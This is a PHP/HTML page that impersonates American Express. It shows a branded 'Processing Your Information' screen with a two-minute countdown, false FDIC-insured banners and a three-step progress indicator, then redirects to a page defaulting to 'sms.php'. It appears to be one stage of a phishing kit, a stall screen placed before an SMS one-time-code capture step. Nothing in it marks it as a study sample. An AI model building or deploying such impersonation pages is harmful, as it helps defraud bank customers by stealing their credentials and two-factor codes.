<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>American Express – Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:         #0055AD;
            --blue-dark:    #004494;
            --blue-light:   #e8f0fb;
            --text:         #1a1a1a;
            --text-sub:     #333;
            --text-muted:   #666;
            --border:       #ccc;
            --bg:           #f2f2f2;
            --white:        #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', 'Helvetica Neue', Arial, sans-serif; background: var(--bg); color: var(--text); font-size: 14px; }
        .page { min-height: 100vh; display: flex; flex-direction: column; }

        .top-nav { background: var(--white); border-bottom: 1px solid #ddd; height: 56px; padding: 0 24px; display: flex; align-items: center; justify-content: space-between; }
        .nav-logo img { height: 38px; width: auto; }
        .nav-left { display: flex; align-items: center; }
        .nav-logo { margin-right: 32px; }
        .nav-links { display: flex; align-items: center; }
        .nav-links a { font-size: 13px; color: var(--text-sub); text-decoration: none; padding: 0 14px; height: 56px; display: flex; align-items: center; border-bottom: 2px solid transparent; transition: border-color 0.15s; white-space: nowrap; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-right { display: flex; align-items: center; gap: 16px; }
        .nav-search { background: none; border: none; cursor: pointer; color: var(--text-sub); padding: 8px; }
        .nav-cs { font-size: 13px; color: var(--text-sub); text-decoration: none; }
        .nav-login-btn { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 9px 20px; font-family: inherit; font-size: 13px; font-weight: 600; cursor: pointer; }

        .fdic-bar { background: var(--white); border-bottom: 1px solid #e5e5e5; padding: 8px 24px; display: flex; align-items: center; gap: 10px; }
        .fdic-box { background: #003087; color: #fff; font-size: 10px; font-weight: 700; letter-spacing: 0.05em; padding: 2px 5px; border-radius: 2px; }
        .fdic-bar span { font-size: 12px; color: var(--text-muted); }

        .main { flex: 1; display: flex; justify-content: center; align-items: flex-start; padding: 32px 24px 64px; max-width: 1100px; margin: 0 auto; width: 100%; }

        .login-panel { background: var(--white); border: 1px solid #d5d5d5; border-radius: 2px; padding: 36px 40px 44px; width: 100%; max-width: 540px; text-align: center; }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: var(--blue-light); color: var(--blue); }
        .step.active { background: var(--blue); color: #fff; }
        .step.pending{ background: #eee; color: #aaa; }
        .step-line      { flex: 1; height: 1px; background: #ddd; }
        .step-line.done { background: var(--blue); opacity: 0.3; }

        .card-logo { margin-bottom: 32px; }
        .card-logo img { height: 50px; width: auto; display: block; margin: 0 auto; }

        .ring-wrap { position: relative; width: 140px; height: 140px; margin: 0 auto 28px; }
        .ring-wrap svg { width: 140px; height: 140px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: var(--blue-light); stroke-width: 6; }
        .ring-progress { fill: none; stroke: var(--blue); stroke-width: 6; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-size: 28px; font-weight: 600; color: var(--text); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 4px; }

        .wait-heading { margin-bottom: 24px; }
        .wait-heading h1 { font-size: 20px; font-weight: 400; color: var(--text); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); line-height: 1.6; }

        .prog-dots { display: flex; justify-content: center; gap: 8px; margin-bottom: 24px; }
        .prog-dots span { width: 8px; height: 8px; border-radius: 50%; background: var(--blue-light); transition: background 0.4s; }
        .prog-dots span.lit { background: var(--blue); }

        .info-notice { display: inline-flex; align-items: center; gap: 8px; background: var(--blue-light); border: 1px solid rgba(0,85,173,0.2); border-radius: 3px; padding: 10px 16px; font-size: 12.5px; color: var(--blue-dark); }

        .page-footer { background: var(--white); border-top: 1px solid #ddd; padding: 32px 48px 24px; }
        .footer-grid { display: grid; grid-template-columns: repeat(4,1fr); gap: 32px; margin-bottom: 32px; }
        .footer-col h4 { font-size: 11px; font-weight: 700; color: var(--text); text-transform: uppercase; letter-spacing: 0.08em; margin-bottom: 14px; }
        .footer-col a { display: block; font-size: 13px; color: var(--text-muted); text-decoration: none; margin-bottom: 10px; }
        .footer-col a:hover { color: var(--blue); }
        .footer-bottom { font-size: 12px; color: #999; display: flex; justify-content: space-between; flex-wrap: wrap; gap: 12px; }

        @media (max-width: 900px) { .nav-links { display: none; } .footer-grid { grid-template-columns: repeat(2,1fr); } }
    </style>
</head>
<body>
<div class="page">
    <nav class="top-nav">
        <div class="nav-left">
            <div class="nav-logo"><img src="res/img/logo.svg" alt="American Express"></div>
            <div class="nav-links"><a href="#">My Account</a><a href="#">Cards</a><a href="#">Banking</a><a href="#">Travel</a><a href="#">Rewards &amp; Benefits</a><a href="#">Business</a></div>
        </div>
        <div class="nav-right">
            <button class="nav-search"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg></button>
            <a href="#" class="nav-cs">Customer Service</a>
            <button class="nav-login-btn">Log In</button>
        </div>
    </nav>
    <div class="fdic-bar"><span class="fdic-box">FDIC</span><span>FDIC-Insured · Backed by the full faith and credit of the U.S. Government</span></div>
    <div class="main">
        <div class="login-panel">
            <div class="card-logo"><img src="res/img/logo.svg" alt="American Express"></div>
            <div class="step-indicator">
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step done">✓</div><div class="step-line done"></div>
                <div class="step active">3</div>
            </div>
            <div class="ring-wrap">
                <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
                <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
            </div>
            <div class="wait-heading"><h1>Processing Your Information</h1><p>Please wait up to 2 minutes while we securely process your request.</p></div>
            <div class="prog-dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
            <div class="info-notice"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
        </div>
    </div>
    <footer class="page-footer">
        <div class="footer-grid">
            <div class="footer-col"><h4>About</h4><a href="#">About American Express</a><a href="#">Investor Relations</a><a href="#">Careers</a></div>
            <div class="footer-col"><h4>Products &amp; Services</h4><a href="#">Credit Cards</a><a href="#">Business Cards</a><a href="#">Prepaid Cards</a></div>
            <div class="footer-col"><h4>Links You May Like</h4><a href="#">Travel Booking</a><a href="#">Gift Cards</a><a href="#">Reward Points</a></div>
            <div class="footer-col"><h4>Additional Information</h4><a href="#">Privacy Statement</a><a href="#">Terms of Service</a><a href="#">Security Center</a></div>
        </div>
        <div class="footer-bottom"><span>© 2025 American Express Company. All rights reserved.</span><span>Member FDIC &nbsp;·&nbsp; Equal Housing Lender</span></div>
    </footer>
</div>
<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
    const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
    function tick() {
        const m = Math.floor(rem / 60), s = rem % 60;
        disp.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
        const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
    }
    tick(); const t = setInterval(tick, 1000);
</script>
</body>
</html>